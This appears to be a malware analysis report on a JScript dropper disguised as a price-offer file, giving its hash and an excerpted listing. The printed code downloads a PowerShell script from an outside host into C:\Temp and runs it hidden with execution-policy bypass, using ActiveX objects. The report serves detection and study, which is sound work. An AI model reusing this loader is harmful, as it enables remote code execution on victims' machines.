FIYAT_TEKLIFI_SAT_35167519.js
ActiveXObject constructor referenceActiveXObject name reference
SHA-2569d05b026dd1df60ff08a7fafad54a6ece90c878e1a35904f3613a134f6e54f09
MaleculeO(Xe)H₅(Cm₈Db₃F₄OsPo₅)Md(Pt)
Evidence
1(function() {
2 'use strict';
3
4 // Configuration stored as a closure variable with default factory
5 var defaultConfig = function() {
6 return {
7 address: 'https://demo.moolsap.com/MNONAME.ps1',
8 directory: 'C:\\Temp\\',
9 maxAttempts: 2
10 };
⋯4 lines
17:2… if (!comCache[progId]) {
18 comCache[progId] = new ActiveXObject(progId);
19 }
20 return comCache[progId];
⋯4 lines
25:6… ensureDir: function(dirPath) {
26 var fs = getCOM('Scripting.FileSystemObject');
27 if (fs.FolderExists(dirPath)) return true;
28 try {
29 fs.CreateFolder(dirPath);
30 return true;
31 } catch (e) {
⋯5 lines
37 var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
38 var out = '';
39 for (var i = 0; i < 8; i++) {
40 out += chars.charAt(Math.floor(Math.random() * chars.length));
41 }
42 return out + '.ps1';
43 },
44
45 saveText: function(filePath, text) {
46 var fs = getCOM('Scripting.FileSystemObject');
47 var f = fs.CreateTextFile(filePath, true);
48 f.Write(text);
49 f.Close();
50 },
51
52 fetch: function(url, retries) {
53 var http = getCOM('MSXML2.XMLHTTP');
54 var result = null;
55 var attempt = 0;
56 var max = (retries == null) ? 2 : retries;
57
58 while (attempt <= max) {
59 try {
60 http.open('GET', url, false);
61 http.send();
62 if (http.status === 200) {
63 result = http.responseText;
64 return result;
65 }
66 } catch (e) {
67 // swallow and retry
68 }
69 attempt++;
70 }
71 return result; …
77:24… eText(target, scriptBody);
78 var shell = getCOM('WScript.Shell');
79 shell.Run('powershell.exe -nop -ep bypass -file "' + target + '"', 0, true);
80 return true;
81 } catch (e) {
⋯5 lines
87 // Pipeline runner — chain of named stages
88 var Pipeline = function() {
89 this.stages = [];
90 };
91 Pipeline.prototype.add = function(name, fn) {
92 this.stages.push({ name: name, fn: fn });
93 return this;
94 };
⋯9 lines
104 };
105
106 // Build the pipeline
107 var flow = new Pipeline()
108 .add('mkdir', function() {
109 return …
110:11…
111 .add('download', function() {
112 return Ops.fetch(config.address, config.maxAttempts);
113 })
114 .add('execute', function(payload) {
⋯5 lines